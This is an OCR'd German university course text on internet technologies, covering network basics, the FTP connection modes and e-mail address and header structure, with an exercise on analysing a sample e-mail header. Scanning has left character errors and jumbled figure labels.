Zertifikatsprogramm - Z-206

®

Hochschule
Albstadt-Sigmaringen
Albstadt-Sigmaringen University






Modul Z-206
Internettechnologien

Studienbrief 1: Netzwerktechnik
Studienbrief 2: Das Internet

Studienbrief 3: Internetdienste
Studienbrief 4: World Wide Web
Studienbrief 5: Web Applications Security

Autoren:

Prof. Dr. Martin Rieger
Dipl.-Ing. (FH) Tobias Scheible
Benjamin Welte, B.Eng.

Christian Schneider, B.Eng.

2. Auflage

Hochschule Albstadt-Sigmaringen



% Bundesministerium AUFSTIEG DURCH

A | fiir Bildung BILDUNG »>

und Forschung

© 2016 Hochschule Albstadt-Sigmaringen
Institut fiir Wissenschaftliche Weiterbildung
Open C3S-Zertifikatsprogramm
Steinachstrafie 11

72336 Balingen

2. Auflage (2016-11-05)

Das Werk einschliefilich seiner Teile ist urheberrechtlich geschiitzt. Jede Ver-
wendung aufierhalb der engen Grenzen des Urheberrechtsgesetzes ist ohne
Zustimmung der Verfasser unzuldssig und strafbar. Das gilt insbesondere
fiir Vervielfiltigungen, Ubersetzungen, Mikroverfilmungen und die Einspei-
cherung und Verarbeitung in elektronischen Systemen.

Um die Lesbarkeit zu vereinfachen, wird auf die zusitzliche Formulierung
der weiblichen Form bei Personenbezeichnungen verzichtet. Wir weisen des-
halb darauf hin, dass die Verwendung der ménnlichen Form explizit als
geschlechtsunabhiéngig verstanden werden soll.

Das diesem Bericht zugrundeliegende Vorhaben wurde mit Mitteln des Bun-
desministeriums fiir Bildung, und Forschung unter dem Forderkennzeichen
160H11066 gefordert. Die Verantwortung fiir den Inhalt dieser Veroffentli-
chung liegt beim Autor.



Inhaltsverzeichnis Seite 3

Inhaltsverzeichnis

Einleitung zu den Studienbriefen 6
. Abklrzungen der Randsymbole und Farbkodierungen . . . . . . . . . . .. ... ... ... .. 6
1. Zuden Autoren . . . . L e 7
. Modullehrziele . . . . . . . e e 9

Studienbrief 1 Netzwerktechnik 11
1.1 Lernergebnisse . . . . . . . e e 11
1.2 Advance Organizer . . . . . . . . . i it e e 11
1.3 Einleitung . . . . . . e e 11

1.3.1 Internet . . . . . e e 11
1.3.2 Sicherheit . . . . . . e 12
1.3.3 Begrifflichkeiten . . . . . . . . . 13
1.4 Netzwerke . . . . . o o e e e e e e 15
1.4.1 Topologien . . . . . . e e e e 15
1.4.2 Kommunikationsarten . . . . . . . . e 18
1.4.3  Struktur. . . . o e 18
1.4.4 Komponenten . . . . . . . . e e 20
1.4.5 Infrastruktur . . . . . . L e 23
1.4.6 Endgerdte . . . . . . . . 26
1.5 Schichtenmodelle . . . . . . . . e e 28
1.5.1 ISO/0SI-7-Schichtenmodell . . . . . . . . . . . . . e 29
1.5.2 TCP/IP-Schichtenmodell . . . . . . . . . . . . . e 30
1.6 Routing . . . . . . e 39
1.6.1 Domain Name System . . . . . . . . . . . e e 39
1.6.2  POrts . . . . e 40
1.6.3  Firewall . . . . . e e 41
1.6.4 Tunneling . . . . . . .. e e e e e e 42
1.6.5 Proxy . . . . . e e 42
1.6.6 Virtual Private Network . . . . . . . . . . . 43
1.7  ZusammenfassuUNg . . . . . . . i e e e e e e e e e 43
1.8 UbUungen . . . . . 44

Studienbrief 2 Das Internet 57
2.1 Lernergebnisse . . . . . . L e e 57
2.2 Advance Organizer . . . . . . . v i i e e e e e e e e 57
2.3 Geschichte . . . . . e e 57

2.3.1 Vorlaufer . . . . . e 57
2.3.2 Dienste . . . . . e 59
2.3.3 Internet . . . L e e 59
2.4 Kernprinzipi€n . . . . . . . e e 61
2.5 Organisationen . . . . . . . e e 62
2.5.1 InternetSociety . . . . . . . . 63
2.5.2 Internet Architecture Board . . . . . . . . .. 63
2.5.3 Internet Engineering Task Force . . . . . . . . . . . . . .o 64
2.5.4 Internet Engineering Steering Group . . . . . . . . ..o 64
2.5.5 Internet Research Task Force . . . . . . . . . . . . . v i i i 64
2.5.6 Internet Research Steering Group . . . . . . . . . .. 64
2.5.7 Internet Corporation for Assigned Names and Numbers. . . . . . .. ... ... .... 64
2.5.8 Internet Assigned Numbers Authority . . . . . . . . . .. ... L 65
2.5.9 Regional Internet Registry . . . . . . . . . . L 65
2.5.10 World Wide Web Consortium . . . . . . . . . . e 65
2.5.11 Web Hypertext Application Technology Working Group . . . . . . . . . . . . ... ... 66



Seite 4

Inhaltsverzeichnis

2.6  Entwicklungen . . .. .. ... ... .. . . 0.
2.6.1 Cloud Computing . ... ...............
2.6.2 InternetderDinge . . . . .. ... ... ... .. ..
2.6.3 Bigbata ... ... ... ... ...
2.7 Zusammenfassung . . . . . .. .o e e e
2.8 Ubungen . . . .. .o
Studienbrief 3 Internetdienste
3.1 Lernergebnisse . . . . . ... .. ... o
3.2 AdvanceOrganizer . . . . . . . . . i e
3.3 Datenaustausch . . . . .. ... ... oo
3.3.1 File Transfer Protocol . . . . .. ... ... .....
3.3.2 Peerto-Peer . .. ... ... ... ..
3.4 Fernzugriff. . . . . ..
341 Telnet. . . . . . . .
3.42 SecureShell . . ... .. ... oo
3.5 E-Mail . .. .
3,51 Uberblick . . . . ... ... ... ... .. .. ... .
3.5.2 Simple Mail Transfer Protocol . . . . . . . ... ...
3.5.3 Post Office Protocol . . . . . . . ... ... .....
3.5.4 Internet Message Access Protocol . . . .. ... ..
3.5.5 Sicherheit . ... ... ... ... . L.
3.5.6 PushE-Mail . . ... ... ... ... .........
3.6 Kommunikation . . . . ... ... . o oo o
3.6,1 Chat . ... ... .. ... ..
3.6.2 InstantMessaging . . . .. ... ... ... ...,
3.6.3 Internettelefonie . . . . . . . ... ... L.
3.7 Zusammenfassung . . . . . . ..o e e
3.8 Ubungen . ... ... . . ... ...
Studienbrief 4 World Wide Web
4.1 Lernergebnisse . . . . . . ... ... oo
4.2 AdvanceOrganizer . . . . . . . . v v v i i
4.3 Technik . . . . . . ..
4.3.1 Hypertext Transfer Protocol . . . . . . ... ... ..
4.3.2 HTTP-Kommunikation . . . . .. ... ... ... ..
4.3.3 HTTP-Request-Methoden . . . .. ... .......
4.3.4 CookiesundSessions . . .. ... ..........
4.3.5 \Verschlisselungsmechanismen . . . . . . ... ...
43.6 HTTP/2 . . . . . . . e
4.4 Website . . . . . ..
4.4.1 Hypertext Markup Language . . . . ... ... ...
4.4.2 Cascading StyleSheets . . . . . ... ... ... ..
4.4.3 JavaScript . .. ...
4.5 Webbrowser . . . . . ...
451 AdobeFlash . . ... ... ... ... ... .....
4.5.2 Java-Applets . . . . ... o
4.6 Webserver. . . . . . . .
4.6.1 Dynamische Dokumente . .. ... ... ... ...
4.7 Zusammenfassung . . . . . . . ...
4.8 Ubungen . . ... . ...
Studienbrief 5 Web Applications Security
5.1 Lernergebnisse . . . . . .. ... ... o
5.2 AdvanceOrganizer . . . . . . . . . . . . ...
5.3 Webbasierte Asnwendungen . . . . . ... ...
5.3.1 Funktionsweise . . . . . . . . ... oL
5.3.2 Architektur . . ... ... o



Inhaltsverzeichnis Seite 5

5.4 Angriffsvektoren . . . . . .. L e e 148
5.4.1 Grundlagen. . . . . . . e e e e e e 148

5.4.2 Angriffeauf Client-Ebene . . . . . . . . . ... 154

5.4.3 Angriffe auf Netzwerk-Ebene . . . . . . . . . ... L 162

5.4.4 Angriffe auf Server-Ebene . . . . . . .. L L 163

5.5 Zusammenfassung . . . . . . .. e e e e e 169
5.6 UDBUNGEN . . . . e e 169
Liste der Losungen zu den Kontrollaufgaben 173
Verzeichnisse 189
. Abbildungen . . . . L e 189

Il. Beispiele . . . . e 190

. Definitionen . . . . . . . L e e 191

IV, EXKUISE . . . e e e 191

V. Kontrollaufgaben . . . . . . . . . e e e 191
VI, Tabellen . . . . . o e e 192

VII.  Literatur . . . . . e e e e e 192



Seite 6

Einleitung zu den Studienbriefen

Einleitung zu den Studienbriefen

I. Abkiirzungen der Randsymbole und Farbkodierungen

Beispiel B
Definition D
Exkurs E
Kontrollaufgabe K
Quelltext Q
Ubung U




Zu den Autoren

Seite 7
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I11. Modullehrziele

Die Lehrveranstaltung , Internettechnologien” gibt einen Uberblick iiber die technischen Grundlagen des
Internets und die Funktionsweise unterschiedlicher Internetdienste. Dem Lernenden werden dabei die
Funktionsweise der am weitesten verbreiteten Protokolle und Techniken vermittelt. AnschlieSend wird die
Sicherheit von Web Applications nédher betrachtet.

Im ersten Studienbrief , Netzwerktechnik” werden die wichtigsten Grundlagen der Netzwerktechnik mit
Fokus auf die Internettechnologien behandelt. Dabei werden die géngigsten Prinzipien der Vernetzung
vorgestellt und die dafiir notwendigen Techniken beschrieben. Des Weiteren werden die Protokolle ndher
betrachtet, um ein tieferes Verstandnis fiir die Netzwerktechnik zu schaffen.

Im zweiten Studienbrief ,,Das Internet” wird die Geschichte des Internets nidher beleuchtet, um so ein tieferes
Verstdandnis fiir die Wirkungsweise einzelner Techniken zu bekommen. Des Weiteren werden der Aufbau
und die Strukturierung des heutigen Internets ndher betrachtet und welche Méglichkeiten zur Verfiigung
stehen, um sich mit dem Internet zu verbinden.

Im dritten Studienbrief , Internetdienste” werden die géngigsten Internetdienste und ihre Funktionen vor-
gestellt. Dabei werden besonders die Dienste fiir die E-Mail-Kommunikation und der Dateiiibertragung
betrachtet.

Im vierten Studienbrief ,World Wide Web” werden die gédngigsten Techniken vorgestellt, die bei einer
Website zur Anwendung kommen. Dabei werden die Ubertragungsprotokolle, der Aufbau von Websites,
die Funktionsweisen von Webbrowsern, die verschiedenen Arten des Webhostings und die Techniken von
Webservern néher erldutert.

Im letzten Studienbrief ,Web Applications Security” werden Angriffsvektoren auf Web Applications erklért.
Anhand von einer Demo-Plattform werden diese praxisnah demonstriert.

Nach erfolgreichem Abschluss des Moduls hat der Studierende Kenntnisse tiber die grundlegenden Struktu-
ren und moglichen Transportwege der Informationen im Internet. Der Teilnehmer kennt die fiir den Betrieb
des Internets erforderliche Hard- und Software und kann deren Bedeutung fiir die IT-Sicherheit beurtei-
len. Er kann die aus dem Informationsfluss resultierenden digitalen Spuren bewerten und Analyseanséitze
ableiten sowie Eigenschaften wichtiger Dienste nachvollziehen und diese einsetzen. Aufierdem kann der
Teilnehmer Abwehrmafsnahmen fiir Web Applications entwickeln, da Angriffsvektoren selbst angewendet
werden kénnen.
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Studienbrief 1 Netzwerktechnik

1.1 Lernergebnisse

Sie kénnen grundlegende Begriffe der Netzwerktechnik erkldren und einordnen.
Sie besitzen das Wissen um die einzelnen Schritte und Ebenen der Ubertragung
von Informationen in Netzwerken wiedergeben. Dartiber hinaus sind Sie in der
Lage, grundlegende Informationen von Netzwerkanschliissen zu erheben und die
Domains von Websites zu analysieren.

1.2 Advance Organizer

Der Studienbrief , Netzwerktechnik” bietet auch fiir Einsteiger und Neulinge in
dieser Thematik gentigend Materialien in Form von Hinweisen, Ubungen und
Bildern, um einen grundlegenden Wissensstand zu schaffen.

1.3 Einleitung

Keine andere Technologie hat jemals zuvor eine so schnelle und grofie Verbreitung
erlebt, so eine grofie Zahl von unterschiedlichen Bereichen beeinflusst und wird so
haufig wie das Internet genutzt. Diese Entwicklung hat ganze Sparten umgekrem-
pelt oder sogar einzelne Bereiche komplett ersetzt. Doch die Entwicklung ist noch
lange nicht abgeschlossen. Durch immer neue Strategien, wie Cloud Computing
oder Big Data, ergeben sich immer neue Anwendungsszenarien.

1.3.1 Internet

Die Geschichte des Internets beginnt in einer Forschungsabteilung des Vertei-
digungsministeriums der Vereinigten Staaten. Das Projekt lief anfanglich unter
dem Namen Arpanet (Advanced Research Projects Agency Network), und hatte
zum Ziel, ein dezentrales Netzwerk zu entwickeln, das mehrere weit voneinander
entfernte Rechner an US-amerikanischen Universitdten miteinander verband. Da
das Arpanet nur auf ein bestimmtes Netz hin optimiert war, wurden diese Techni-
ken so weiterentwickelt, dass verschiedene Netze miteinander verbunden werden
konnten, woraus das heutige Internet entstand [Sorge et al., 2013, S. 8].

Der Begriff Internet setzt sich aus den beiden abgekiirzten englischen Begriffen
,inter” fiir ,interconnected” und ,net” fiir ,network” zusammen. Diese Begrifflich-
keit bedeutet tibersetzt ins Deutsche in etwa , miteinander verbundene Netzwerke”.
Damit ist das Internet eine Kommunikationsmethode, die weltweit Rechner mit-
einander verbindet. Allerdings werden umgangssprachlich viele Techniken unter
dem Begriff Internet zusammengefasst oder als Synonym verwendet. So wird der
Begriff Internet sehr oft mit dem World Wide Web, also Websites im Web-Browser,
gleichgesetzt. Dies ist aber nur ein Dienst, wie zum Beispiel auch die E-Mail, die
das Internet als Ubertragmedium nutzt. Als Synonyme fiir das Internet wird auch
der Begriff Cyberspace verwendet.

Neben den urspriinglichen Diensten, wie E-Mails und Websites, werden immer
mehr Daten aus den unterschiedlichen Bereichen iiber das Internet {ibertragen.
So werden immer mehr Gerédte entwickelt, die eine Funkverbindung aufbauen
konnen, und sich untereinander austauschen kénnen. Hierzu zdhlen zum Beispiel
Rauchmelder, die kontinuierlich die gemessenen Werte und den Batteriezustand
tibermitteln kénnen oder Aquarien, welche die Temperatur tiber das Internet
bereitstellen. Daher sind heutzutage nicht mehr nur ,normale” Rechner mit dem
Internet verbunden, sondern auch viele solcher versteckten Rechnern.

Internet

Entwicklung

Begriff Internet

Verbreitung
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Studienbrief 2 Das Internet

2.1 Lernergebnisse

Sie kénnen grundlegende Kernprinzipien des Internets erkldren und einordnen.
Sie sind in der Lage, grundlegende Organisationen der Internetverwaltung zu
beschreiben. Sie konnen die einzelnen Bedeutungen von wichtigen Entwicklungen
wiedergeben.

2.2 Advance Organizer

Der Studienbrief ,Das Internet” biete auch fiir Einsteiger und Neulinge in dieser
Thematik geniigend Materialien in Form von Hinweisen, Ubungen und Bildern
um einen grundlegenden Wissensstand zu schaffen.

2.3 Geschichte

Die Geschichte des Internets fangt mit dem Start in das Zeitalter der Raumfahrt an.
Als die damalige Sowjetunion den ersten Satelliten Sputnik 1957 startete, demons-
trierten sie damit ihre technische Uberlegenheit gegeniiber den USA. Die Wirkung
auf die Amerikaner wird von den Historikern als , Sputnik-Schock” beschrieben.
Als eine von vielen Reaktionen darauf griindete die damalige Regierung 1958 das
ARPA (Advanced Research Project Agency) mit dem Auftrag, neuartige Technologi-
en zu entwickeln; spater wurde es in DARPA (Defense Advanced Research Projects
Agency) umbenannt. An diesem Institut wurden dann die ersten Techniken fiir
das Internet entwickelt.

2.3.1 Vorlaufer

Der Psychologie-Professor Joseph Carl Robnett Licklider beschrieb bereits 1960
in seinem Artikel ,Man-Computer-Symbiosis” das Konzept einer einfacheren
Interaktion zwischen Mensch und Computer. Zwei Jahre spéter beschrieb er in
einer Reihe von Memos eine friithe Vision des Internets, die er , Galactic Network”
nannte. Diese Vision beinhaltete schon nahezu alle Ideen, die das heutige Internet
kennzeichnen.

1962 wechselte Licklider zu ARPA und griindete dort das Information Proces-
sing Techniques Office (IPTO). Dort entwickelte er die Idee weiter, dass mehrere
Menschen iiber ein Netzwerk einen Grofirechner gleichzeitig nutzen konnen. Wah-
renddessen entwickelte Paul Baran an der Rand Corporation das Grundprinzip
eines jeden modernen Netzwerks, die Paketvermittlung. Bisher wurde fiir jede
Verbindung eine physikalische Leitung fest genutzt. Daher beschrénkte sich die
Anzahl der Verbindungen auf die vorhandene Anzahl von Leitungen. Mit der
Paketvermittlung war es moglich, mehrere Verbindungen iiber eine Leitung abzu-
wickeln.

Mit diesen neuen Techniken schrieb die ARPA-Forschungsabteilung unter Licklider
die verschiedenen Bestandteile des neuen Netzes aus. 1969 wurde das erste Netz-
werk mit dem Namen ARPANET in Betrieb genommen und verband 4 Grofsrechner
in den USA miteinander. Das erste iibertragene Wort lautete , Login”. Allerdings
stiirzte der Computer schon beim dritten Buchstaben ,,g” ab. Ein paar Stunden
spater klappte die Ubertragung. Dabei wurden Gerite mit der Bezeichnung , Inter-
face Message Processor” (IMP), ein Vorldufer der heutigen Router, eingesetzt. Die
nachfolgende Abbildung 2.1 zeigt die Ausdehnung des ARPANETSs von 1969 bis
1977. Die Abbildung 2.2 zeigt die Struktur-Knotenpunkte des ARPANETSs im Jahr
1977.

ARPA

Man-Computer-Symbiosis

Paketvermittiung

ARPANET
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Studienbrief 3 Internetdienste

3.1 Lernergebnisse

Sie kdnnen grundlegende Begriffe der Internetdienste erkldren und einordnen.
Sie sind in der Lage, grundlegende Begriffe wie FTD, Telnet, SSH, POP3, SMTP,
IMAP sowie VoIP zu beschreiben. Sie sind imstande, den Verbindungsaufbau einer
E-Mail-Kommunikation durchzufiihren.

3.2 Advance Organizer

Fiir den Studienbrief , Internetdienste” sind praktische Erfahrungen im Umgang
mit dem Internet empfehlenswert. Dazu gehort die Verwendung von gangigen
E-Mail und FTP-Programmen. Des Weiteren sind Kenntnisse tiber Netzwerktech-
nik sehr empfehlenswert.

Zum Modul Internettechnologien wird ein Mikromodul ,Netzwerkverkehr-
Aufzeichnung und -Analyse mit Wireshark” angeboten.

3.3 Datenaustausch

Bei dem Begriff Datenaustausch handelt es sich um Ubertragung von Daten zwi-
schen Programmen, Computern oder Systemkomponenten. Fiir die Moglichkeit
der Ubertragung stehen entweder klassische Datentriger oder eine Netzwerktech-
nik zur Verfiigung. Als Ubertragungsmedien dienen dabei austauschbare Daten-
trager (Disketten, Wechselplatten, ZIP-Disketten, CD-ROM, DVD), Bus-System,
Direktverbindung tiber Nullmodem bzw. Data Link, Netzwerk oder Datenfern-
tibertragung kurz DFU. Fiir den reibungslosen Datenaustausch sind geeignete
Funktionen zur Umwandlung der Daten in fiir das Zielprogramm, Zielsystem bzw.
Zielkomponente geeignete Datenformate bzw. Darstellungsformate nétig. Typische
Umwandlungsfunktionen sind Funktionen wie Export, Import, Konvertierung,
Kodierung, sowie die Ubertragung von Daten iiber geeignete Datenaustauschfor-
mate. In den nachfolgenden Abschnitten werden die Ubertragungsverfahren FTP
und P2P betrachtet, die im Internet eingesetzt werden.

3.3.1 File Transfer Protocol

Das File Transfer Protocol (FTP) ist ein Protokoll zur Ubertragung von Dateien in
Netzwerken. Es wird benutzt, um Dateien vom Server zum Client (download),
vom Client zum Server (upload) oder clientgesteuert zwischen zwei FTP-Servern
zu Ubertragen. Auflerdem konnen per FTP, Verzeichnisse angelegt und ausgelesen
sowie Verzeichnisse und Dateien umbenannt oder geloscht werden und Rechte
fiir Verzeichnisse und Dateien gesetzt werden.

Das FTP verwendet fiir die Steuerung und Datentibertragung jeweils separate
Verbindungen: Eine FTP-Sitzung beginnt, indem vom Client zum Control Port des
Servers, TCP-Port 21, eine Verbindung aufgebaut wird. Uber diese Verbindung
werden Befehle zum Server gesendet. Der Server antwortet auf jeden Befehl mit ei-
nem Statuscode, oft mit einem angehédngten, erkldrenden Text. Die meisten Befehle
sind allerdings erst nach einer erfolgreichen Authentifizierung zuléssig.

Die FTP-Spezifikation sieht bis auf die einfache Benutzer-Authentifizierung, die
Kennung und Passwort unverschliisselt zwischen Client und Server iibermittelt,
keinerlei Sicherheitsfunktionen vor. Sichere Varianten sind SFTP oder FTPS. Diese
werden spéter ndher betrachtet.

FTP, SCP und P2P

FTP

Verbindung

Sicherheit
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zwei Varianten

Aktives FTP

Abb. 3.1: Aktives FTP

Passives FTP

Verbindungsarten

Zum Senden und Empfangen von Dateien sowie zur Ubertragung von Verzeich-
nislisten (auf dem TCP-Port 20) wird pro Vorgang jeweils eine separate TCP-
Verbindung verwendet. FTP kennt fiir den Aufbau solcher Verbindungen zwei
Modi:

Beim aktiven FTP (auch , Active Mode®) 6ffnet der Client einen zufélligen Port und
teilt dem Server diesen sowie die eigene IP-Adresse mit. Dies ist typischerweise ein
Port des Clients, der jenseits von 1023 liegt, kann aber auch ein anderer Server sein,
der seinerseits in den Passive Mode geschaltet wurde, also auf eine Verbindung
wartet. Die Datentibertragung auf der Server-Seite erfolgt dabei tiber den Port 20
(Data). Die Kommunikation mit Befehlen erfolgt ausschliefSlich auf dem Command
Port 21 (Command). Man spricht auch von der Steuerung , Out of Band”. Somit
bleibt es méglich, dass wihrend der Datentibertragung die Partner noch immer
miteinander kommunizieren kénnen. Die nachfolgende Abbildung 3.1 zeigt das
Schema einer FTP-Verbindung mit folgendem Ablauf:

1. Client 6ffnet iiber Port A eine Verbindung zum Port 21 (Command) des
Servers und teilt den eigenen Data Port (Port B) mit.
2. Der Server bestitigt die Verbindung und sendet als Antwort ein ,,OK”.

3. Der Server 6ffnet tiber den Port 20 eine Verbindung zum Data Port (Port B)
des Clients.

4. Der Client bestitigt ebenfalls die Verbindung und sendet als Antwort ein

,,OK”.
FTP-Client FTP-Server
N
Port B Port A Port 21 Port 20
Data Command Command Data
“ /
DATA CHANNEL
/
\
T

T

Beim passiven FIP (auch , Passive Mode”) sendet der Client ein PASV- oder ein
EPSV-Kommando, der Server 6ffnet einen Port und iibermittelt diesen mitsamt
IP-Adresse an den Client. Hier wird auf der Client-Seite ein Port jenseits 1023
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verwendet und auf der Server-Seite der vorher an den Client tibermittelte Port.
Diese Technik wird eingesetzt, wenn der Server keine Verbindung zum Client
aufbauen kann. Dies ist bspw. der Fall, wenn der Client sich hinter einem Router
befindet oder wenn eine Firewall das Netzwerk des Clients vor Zugriffen von
auflen abschirmt. Die nachfolgende Abbildung 3.2 zeigt das Schema einer FTP-
Verbindung mit folgendem Ablauf:

1. Client 6ffnet tiber Port A eine Verbindung zum Port 21 (Command) des
Server und teilt mit dem Befehl , PASV* mit, dass eine passive Verbindung
geoffnet werden soll.

2. Der Server 6ffnet einen neuen Port (Port C) oberhalb 1024 und sendet als
Antwort ein ,,OK” an den Data Port C.

3. Der Client 6ffnet tiber den Port B eine Verbindung zum neuen Data Port
(Port C) des Servers.

4. Der Server bestitigt ebenfalls die Verbindung und sendet als Antwort ein

L, OK”.
FTP-Client FTP-Server
A
Port B Port A Port 21 Port 20
Data Command Command Data

Port C

~PASV“ Data
oK Pport €
»Data Chanpej«

“ | —

|

Anonymous FTP

Einige FTP-Server, vor allem Server von Universitiaten, Hochschulen und Mirrors,
bieten sogenanntes Anonymous FTP an. Solche FTP-Server werden auch als &ffent-
liche FTP-Server oder als Pub (vom englischen public, dt.: 6ffentlich) bezeichnet.
Hier ist zum Einloggen neben den realen Benutzerkonten ein spezielles Benutzer-
konto, typischerweise , anonymous” und/oder ,ftp”, vorgesehen, fiir das kein
(oder ein beliebiges) Passwort angegeben werden muss. Friither gehorte es zum
,guten Ton”, bei Anonymous FTP seine eigene, giiltige E-Mail-Adresse als Pass-

Abb. 3.2: Passives FTP
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noch nicht verwendetes Zeichen aus dem Schriftsatz amerikanischer Fernschreiber
(ASCII) war.
E Exkurs 3.2: @-Zeichen
Die genaue Herkunft des @-Zeichen ist bis heute noch nicht geklart. Es wird

Domanenteil

Header und Body

Header (Kopfbereich)

vermutet, dass das Zeichen bereits im Mittelalter verwendet worden ist und
eine kaufméannische Bedeutung hatte. Die erste Uberlieferung stammt aus
dem Jahre 1555 von der Iberischen Halbinsel. Und bereits seit dem Jahre
1880 ist es auf englischen Schreibmaschinen nachgewiesen wpa.

Fiir den Domdnenteil gelten die gleichen Regeln wie fiir Domainnamen. Bei Do-
mains mit Umlauten kann es zu Problemen kommen, da noch nicht alle Systeme
die Kodierung unterstiitzen.

Grofi- und Kleinschreibung]Grof3- und Klein-

schreibung & LangeODb im Lokalteil zwischen Grof3- und Kleinschreibung unter-
schieden wird, ist abhédngig von der Interpretation durch das System des Empféan-
gers. Es kann durchaus Systeme geben, bei denen diese Unterscheidung anzutreffen
ist. Allerdings fithren viele Betreiber diese Unterscheidung nicht durch, da es sonst
zu Verwirrungen fiithren konnte. Im RFC gibt es keine Langenbegrenzung fiir
E-Mail-Adressen. Das SMTP-Protokoll definiert allerdings eine maximale Lange
von 64 Zeichen fiir den Lokalteil, und 255 fiir den Doménenteil. Allerdings ist die
maximale Lange bei der Verarbeitung zusatzlich beschrankt, woraus sich damit
eine maximale Lange fiir die gesamte E-Mail-Adresse von 254 Zeichen ergibt.

Aufbau einer E-Mail

E-Mails werden in zwei Teile unterteilt, einem Kopfbereich (Header) und einem
Inhaltsbereich (Body). Im Header stehen die Informationen fiir den Versand und
im Body der Inhalt einer E-Mail.

Der Header enthdlt als Pflichtangabe lediglich eine Absenderangabe und das
Datum der Erstellung der E-Mail. Dariiber hinaus kann der Header einer E-Mail
eine Reihe optionaler Angaben enthalten. In der Regel finden sich Informationen
tiber den Weg, den die E-Mail genommen hat, tiber den Inhalt der Nachricht und
deren Format sowie Angaben zu den Empfangern. Dabei enthalt der Header keine
Informationen, die fiir die Zustellung notwendig sind, da der Absender und der
Empféanger direkt von dem Versandserver an den Empfangsserver iibergeben wird.
Viele E-Mail Programme interessieren sich nicht oder nur selten fiir alle Header-
Zeilen. Deshalb zeigen die meisten Programme standardméfSiig nur einen kleinen
Teil der tatsichlich in der E-Mail enthaltenen Header-Zeilen an. Der Quelltext 3.1
zeigt, welche Eintrdge von einem Microsoft Exchange E-Mail-Server im Header
vorgenommen werden. Die wichtigsten Eintrdge lauten wie folgt:

¢ From Absender

¢ To Empfinger

¢ CC weitere Empfanger

¢ BCC Blindkopie

* Subject Betreff

* Date Zeitpunkt der Erstellung
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Der Body einer E-Mail ist durch eine Leerzeile vom Header getrennt und enthalt
die zu iibertragenden Informationen in einem oder mehreren Teilen. Eine E-Mail
darf dabei nur Zeichen des 7-Bit-ASCII-Zeichensatzes enthalten. Sollen andere
Zeichen, wie zum Beispiel deutsche Umlaute, oder Daten, wie zum Beispiel Bilder,
iibertragen werden, miissen das Format im Header-Abschnitt deklariert und die
Daten passend kodiert werden. Aktuelle E-Mail-Programme kodieren Text und
Dateianhédnge bei Bedarf automatisch. Der Quelltext 3.2 zeigt ein Gertist einer
leeren E-Mail, wie sie von Outlook 2013 erstellt wird.

E-Mails konnen auch im HTML-Format verschickt werden, damit konnen Schriften
formatiert und Links eingefiigt werden. Obwohl das HTML-Format standardi-
siert ist, war es urspriinglich nicht fiir den Einsatz in E-Mails gedacht. Das fiihrte
unter anderem dazu, dass es in der Vergangenheit viele, auch konzeptuelle Sicher-
heitsliicken in der Darstellung von HTMI in den E-Mail-Programmen gab, die
zur Verbreitung von E-Mail-Wiirmern beigetragen haben. Die oft inkonsistente
Behandlung von HTML-Features in verschiedenen E-Mail-Programmen hat auch

Body (Inhaltsbereich)

HTML-E-Mails
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den Effekt, dass optische Effekte oder Formatierungen nicht so dargestellt werden,
wie es vom Absender gedacht war.

Quelltext 3.1: E-Mail-Header

1 Received: from izcexchangel.ad.fh-albsig.de (141.87.114.188) by
izcexchangel.ad.fh-albsig.de (141.87.114.188) with
Microsoft SMTP Server (TLS) id 15.0.913.22 via Mailbox
Transport; Mon, 15 Dec 2014 15:09:45 +0100
2 Received: from izcexchangel.ad.fh-albsig.de (141.87.114.188) by
izcexchangel.ad.fh-albsig.de (141.87.114.188) with
Microsoft SMTP Server (TLS) id 15.0.913.22; Mon, 15 Dec
2014 15:09:44 +0100
3 Received: from izcexchangel.ad.fh-albsig.de ([141.87.116.11])
by izcexchangel.ad.fh-albsig.de ([141.87.116.11]) with mapi
id 15.00.0913.011; Mon, 15 Dec 2014 15:09:44 +0100
4 Content-Type: application/ms-tnef; name="winmail.dat"
5 Content-Transfer-Encoding: binary
6 From: "Scheible, Tobias" <scheible@hs-albsig.de>
7 To: "Scheible, Tobias" <scheible@hs-albsig.de>
8 Subject: Test
9 Thread-Topic: Test
10 Thread-Index: AdAYcMRzfZL4rgvkTmKs2JnbQiVTPg==
11 Date: Mon, 15 Dec 2014 15:09:44 +0100
12 Message-ID: <b03f00c8707b48dfb94b922194ad34c4@izcexchangel.ad.
fh-albsig.de>
13 Accept-Language: de-DE, en-US
14 Content-Language: de-DE
15 X-MS-Has-Attach: yes
16 X-MS-Exchange-0rganization-SCL: -1
17 X-MS-TNEF-Correlator: <
b03f00c8707b48dfb94b922194ad34c4@izcexchangel.ad.fh-albsig.
de>
18 MIME-Version: 1.0
19 X-MS-Exchange-0rganization-MessageDirectionality: Originating
20 X-MS-Exchange-0rganization-AuthSource: izcexchangel.ad.fh-
albsig.de
21 X-MS-Exchange-0rganization-AuthAs: Internal
22 X-MS-Exchange-0rganization-AuthMechanism: 04
23 X-0riginating-IP: [141.87.114.150]
24 X-MS-Exchange-0rganization-Network-Message-Id: 8227f908-dlce
-485a-b8b2-08d1e687e94d
25 Return-Path: scheible@hs-albsig.de
26 X-MS-Exchange-0rganization-AVStamp-Mailbox: Sophos
;2072770050;0;PM
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Programme

Webmail

Kontrollaufgabe 3.5: E-Mail-Header-Analyse mit Auswertungsprogramm

Analysieren Sie den nachfolgenden E-Mail-Header mit einem Analyse-Tool,
wie z. B. http://www.gaijin.at/olsmailheader.php.

Welche Server sind im Ubertragungsweg erkennbar?

Welche Ubertragungsabschnitte sind mit TLS Transport verschliisselt?
Welche Inkonsistenzen gibt es hinsichtlich des Absenders?

Received: from izcexchangel.ad.fh-albsig.de (141.87.114.188) by
izcexchangel.ad.fh-albsig.de (141.87.114.188) with Microsoft SMTP Server
(TLS) id 15.0.1130.7 via Mailbox Transport; Tue, 6 Oct 2015 04:09:53 +0200

Received: from izcexchangel.ad.fh-albsig.de (141.87.114.188) by
izcexchangel.ad.fh-albsig.de (141.87.114.188) with Microsoft SMTP Server
(TLS) id 15.0.1130.7; Tue, 6 Oct 2015 04:09:53 +0200

Received: from izcmx2.hs-albsig.de (141.87.109.16) by
izcexchangel.ad.fh-albsig.de (141.87.114.188) with Microsoft SMTP Server
(TLS) id 15.0.1130.7 via Frontend Transport; Tue, 6 Oct 2015 04:09:53 +0200

Received: from csrl0l.belwue.de (129.143.2.75) by izcmx2.hs-albsig.de
(141.87.109.16) with Microsoft SMTP Server (TLS) id 15.0.1130.7; Tue, 6 Oct
2015 04:09:52 +0200
Received: from goodgood.cloudservers.net.au (goodgood.cloudservers.net.au [103.9.64.100])
by csr1@l.belwue.de with ESMTP id t9629985026624
